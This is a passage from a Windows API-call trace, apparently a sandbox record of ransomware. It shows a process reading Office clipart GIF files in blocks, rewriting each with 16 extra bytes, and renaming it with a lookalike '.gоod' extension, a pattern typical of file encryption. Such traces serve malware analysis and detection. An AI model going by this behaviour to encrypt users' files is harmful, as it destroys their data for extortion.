lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00154_.GIF.gоod", lpFilePart=0x0) returned 0x49 [0141.030] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedcc0) returned 1 [0141.030] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00154_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00154_.gif"), fInfoLevelId=0x0, lpFileInformation=0x1faedda0 | out: lpFileInformation=0x1faedda0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdbe306f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdbe306f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x504642fb, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x14d3)) returned 1 [0141.030] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedc80) returned 1 [0141.030] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00154_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00154_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00154_.GIF.gоod" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00154_.gif.gоod")) returned 1 [0141.030] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00157_.GIF", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00157_.GIF", lpFilePart=0x0) returned 0x44 [0141.030] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedd00) returned 1 [0141.030] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00157_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00157_.gif"), fInfoLevelId=0x0, lpFileInformation=0x3a579e0 | out: lpFileInformation=0x3a579e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcbcb1a5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcbcb1a5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcbcb1a5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x135b)) returned 1 [0142.340] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedcc0) returned 1 [0142.340] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00157_.GIF", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00157_.GIF", lpFilePart=0x0) returned 0x44 [0142.340] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0142.340] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00157_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00157_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7e8 [0142.340] GetFileType (hFile=0x7e8) returned 0x1 [0142.340] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0142.340] GetFileType (hFile=0x7e8) returned 0x1 [0142.340] SetFilePointer (in: hFile=0x7e8, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1faedd58*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1faedd58*=0) returned 0x1000 [0142.340] ReadFile (in: hFile=0x7e8, lpBuffer=0x3992bd8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1faedd28, lpOverlapped=0x0 | out: lpBuffer=0x3992bd8*, lpNumberOfBytesRead=0x1faedd28*=0x35b, lpOverlapped=0x0) returned 1 [0142.342] CloseHandle (hObject=0x7e8) returned 1 [0142.342] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00157_.GIF", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00157_.GIF", lpFilePart=0x0) returned 0x44 [0142.342] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0142.342] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00157_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00157_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7e8 [0142.342] GetFileType (hFile=0x7e8) returned 0x1 [0142.342] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0142.342] GetFileType (hFile=0x7e8) returned 0x1 [0142.342] SetFilePointer (in: hFile=0x7e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x1faedd58*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1faedd58*=0) returned 0x135b [0142.342] WriteFile (in: hFile=0x7e8, lpBuffer=0x3993e70*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1faedc48, lpOverlapped=0x0 | out: lpBuffer=0x3993e70*, lpNumberOfBytesWritten=0x1faedc48*=0x10, lpOverlapped=0x0) returned 1 [0142.342] CloseHandle (hObject=0x7e8) returned 1 [0142.343] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00157_.GIF", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00157_.GIF", lpFilePart=0x0) returned 0x44 [0142.343] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0142.343] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00157_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00157_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7e8 [0142.343] GetFileType (hFile=0x7e8) returned 0x1 [0142.343] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0142.343] GetFileType (hFile=0x7e8) returned 0x1 [0142.343] ReadFile (in: hFile=0x7e8, lpBuffer=0x3996130, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1faedcd8, lpOverlapped=0x0 | out: lpBuffer=0x3996130*, lpNumberOfBytesRead=0x1faedcd8*=0x1000, lpOverlapped=0x0) returned 1 [0142.371] CloseHandle (hObject=0x7e8) returned 1 [0142.371] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00157_.GIF", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00157_.GIF", lpFilePart=0x0) returned 0x44 [0142.371] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0142.371] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00157_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00157_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7e8 [0142.371] GetFileType (hFile=0x7e8) returned 0x1 [0142.371] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0142.371] GetFileType (hFile=0x7e8) returned 0x1 [0142.371] WriteFile (in: hFile=0x7e8, lpBuffer=0x3994e88*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1faedd88, lpOverlapped=0x0 | out: lpBuffer=0x3994e88*, lpNumberOfBytesWritten=0x1faedd88*=0x1010, lpOverlapped=0x0) returned 1 [0142.371] CloseHandle (hObject=0x7e8) returned 1 [0142.371] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00157_.GIF", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00157_.GIF", lpFilePart=0x0) returned 0x44 [0142.371] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00157_.GIF.gоod", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00157_.GIF.gоod", lpFilePart=0x0) returned 0x49 [0142.371] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedcc0) returned 1 [0142.372] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00157_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00157_.gif"), fInfoLevelId=0x0, lpFileInformation=0x1faedda0 | out: lpFileInformation=0x1faedda0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcbcb1a5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcbcb1a5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x51134dd3, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x136b)) returned 1 [0142.372] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedc80) returned 1 [0142.372] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00157_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00157_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00157_.GIF.gоod" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00157_.gif.gоod")) returned 1 [0142.373] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00158_.GIF", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00158_.GIF", lpFilePart=0x0) returned 0x44 [0142.373] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedd00) returned 1 [0142.373] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00158_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00158_.gif"), fInfoLevelId=0x0, lpFileInformation=0x3a126f0 | out: lpFileInformation=0x3a126f0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcbcb1a5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcbcb1a5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcbcb1a5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x13a6)) returned 1 [0142.373] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedcc0) returned 1 [0142.373] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00158_.GIF", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00158_.GIF", lpFilePart=0x0) returned 0x44 [0142.373] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0142.373] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00158_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00158_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7e8 [0142.373] GetFileType (hFile=0x7e8) returned 0x1 [0142.373] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0142.373] GetFileType (hFile=0x7e8) returned 0x1 [0142.373] SetFilePointer (in: hFile=0x7e8, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1faedd58*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1faedd58*=0) returned 0x1000 [0142.374] ReadFile (in: hFile=0x7e8, lpBuffer=0x3a12b08, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1faedd28, lpOverlapped=0x0 | out: lpBuffer=0x3a12b08*, lpNumberOfBytesRead=0x1faedd28*=0x3a6, lpOverlapped=0x0) returned 1 [0142.916] CloseHandle (hObject=0x7e8) returned 1 [0142.916] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00158_.GIF", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00158_.GIF", lpFilePart=0x0) returned 0x44 [0142.916] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0142.916] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00158_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00158_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7e8 [0142.916] GetFileType (hFile=0x7e8) returned 0x1 [0142.916] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0142.916] GetFileType (hFile=0x7e8) returned 0x1 [0142.916] SetFilePointer (in: hFile=0x7e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x1faedd58*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1faedd58*=0) returned 0x13a6 [0142.916] WriteFile (in: hFile=0x7e8, lpBuffer=0x3954dc0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1faedc48, lpOverlapped=0x0 | out: lpBuffer=0x3954dc0*, lpNumberOfBytesWritten=0x1faedc48*=0x10, lpOverlapped=0x0) returned 1 [0142.917] CloseHandle (hObject=0x7e8) returned 1 [0142.917] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00158_.GIF", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00158_.GIF", lpFilePart=0x0) returned 0x44 [0142.917] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0142.917] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00158_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00158_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7e8 [0142.917] GetFileType (hFile=0x7e8) returned 0x1 [0142.917] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0142.917] GetFileType (hFile=0x7e8) returned 0x1 [0142.917] ReadFile (in: hFile=0x7e8, lpBuffer=0x3957080, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1faedcd8, lpOverlapped=0x0 | out: lpBuffer=0x3957080*, lpNumberOfBytesRead=0x1faedcd8*=0x1000, lpOverlapped=0x0) returned 1 [0142.944] CloseHandle (hObject=0x7e8) returned 1 [0142.944] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00158_.GIF", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00158_.GIF", lpFilePart=0x0) returned 0x44 [0142.944] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0142.944] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00158_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00158_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7e8 [0142.944] GetFileType (hFile=0x7e8) returned 0x1 [0142.944] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0142.944] GetFileType (hFile=0x7e8) returned 0x1 [0142.944] WriteFile (in: hFile=0x7e8, lpBuffer=0x3955dd8*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1faedd88, lpOverlapped=0x0 | out: lpBuffer=0x3955dd8*, lpNumberOfBytesWritten=0x1faedd88*=0x1010, lpOverlapped=0x0) returned 1 [0142.944] CloseHandle (hObject=0x7e8) returned 1 [0142.944] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00158_.GIF", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00158_.GIF", lpFilePart=0x0) returned 0x44 [0142.944] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00158_.GIF.gоod", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00158_.GIF.gоod", lpFilePart=0x0) returned 0x49 [0142.945] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedcc0) returned 1 [0142.945] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00158_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00158_.gif"), fInfoLevelId=0x0, lpFileInformation=0x1faedda0 | out: lpFileInformation=0x1faedda0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcbcb1a5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcbcb1a5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x51692212, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x13b6)) returned 1 [0142.945] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedc80) returned 1 [0142.945] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00158_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00158_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00158_.GIF.gоod" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00158_.gif.gоod")) returned 1 [0142.945] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00160_.GIF", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00160_.GIF", lpFilePart=0x0) returned 0x44 [0142.946] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedd00) returned 1 [0142.946] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00160_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00160_.gif"), fInfoLevelId=0x0, lpFileInformation=0x39d3470 | out: lpFileInformation=0x39d3470*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcbcb1a5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcbcb1a5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcbcb1a5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x47a)) returned 1 [0142.946] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedcc0) returned 1 [0142.946] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00160_.GIF", nBufferLength=0x105, lpBuffer=0x1faed690, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00160_.GIF", lpFilePart=0x0) returned 0x44 [0142.946] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedbb0) returned 1 [0142.946] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00160_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00160_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7e8 [0142.946] GetFileType (hFile=0x7e8) returned 0x1 [0142.946] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb20) returned 1 [0142.946] GetFileType (hFile=0x7e8) returned 0x1 [0142.946] GetFileSize (in: hFile=0x7e8, lpFileSizeHigh=0x1faedd58 | out: lpFileSizeHigh=0x1faedd58*=0x0) returned 0x47a [0142.946] ReadFile (in: hFile=0x7e8, lpBuffer=0x39d3b98, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1faedc88, lpOverlapped=0x0 | out: lpBuffer=0x39d3b98*, lpNumberOfBytesRead=0x1faedc88*=0x47a, lpOverlapped=0x0) returned 1 [0142.947] CloseHandle (hObject=0x7e8) returned 1 [0143.224] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedbb0) returned 1 [0143.225] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00160_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00160_.gif"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x61c [0143.229] GetFileType (hFile=0x61c) returned 0x1 [0143.229] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb20) returned 1 [0143.229] GetFileType (hFile=0x61c) returned 0x1 [0143.229] WriteFile (in: hFile=0x61c, lpBuffer=0x3507bc0*, nNumberOfBytesToWrite=0x480, lpNumberOfBytesWritten=0x1faedb98, lpOverlapped=0x0 | out: lpBuffer=0x3507bc0*, lpNumberOfBytesWritten=0x1faedb98*=0x480, lpOverlapped=0x0) returned 1 [0143.230] CloseHandle (hObject=0x61c) returned 1 [0143.230] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00160_.GIF", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00160_.GIF", lpFilePart=0x0) returned 0x44 [0143.230] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00160_.GIF.gоod", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00160_.GIF.gоod", lpFilePart=0x0) returned 0x49 [0143.230] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedcc0) returned 1 [0143.230] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00160_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00160_.gif"), fInfoLevelId=0x0, lpFileInformation=0x1faedda0 | out: lpFileInformation=0x1faedda0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcbcb1a5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcbcb1a5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x51966ec6, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x480)) returned 1 [0143.230] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedc80) returned 1 [0143.230] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00160_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00160_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00160_.GIF.gоod" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00160_.gif.gоod")) returned 1 [0143.231] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00161_.GIF", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00161_.GIF", lpFilePart=0x0) returned 0x44 [0143.231] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedd00) returned 1 [0143.231] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00161_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00161_.gif"), fInfoLevelId=0x0, lpFileInformation=0x3508e50 | out: lpFileInformation=0x3508e50*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcbcb1a5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcbcb1a5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcbf13fd, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1d9f)) returned 1 [0143.232] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedcc0) returned 1 [0143.232] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00161_.GIF", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00161_.GIF", lpFilePart=0x0) returned 0x44 [0143.232] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0143.232] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00161_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00161_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x61c [0143.232] GetFileType (hFile=0x61c) returned 0x1 [0143.232] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0143.232] GetFileType (hFile=0x61c) returned 0x1 [0143.232] SetFilePointer (in: hFile=0x61c, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1faedd58*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1faedd58*=0) returned 0x1000 [0143.233] ReadFile (in: hFile=0x61c, lpBuffer=0x3509268, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1faedd28, lpOverlapped=0x0 | out: lpBuffer=0x3509268*, 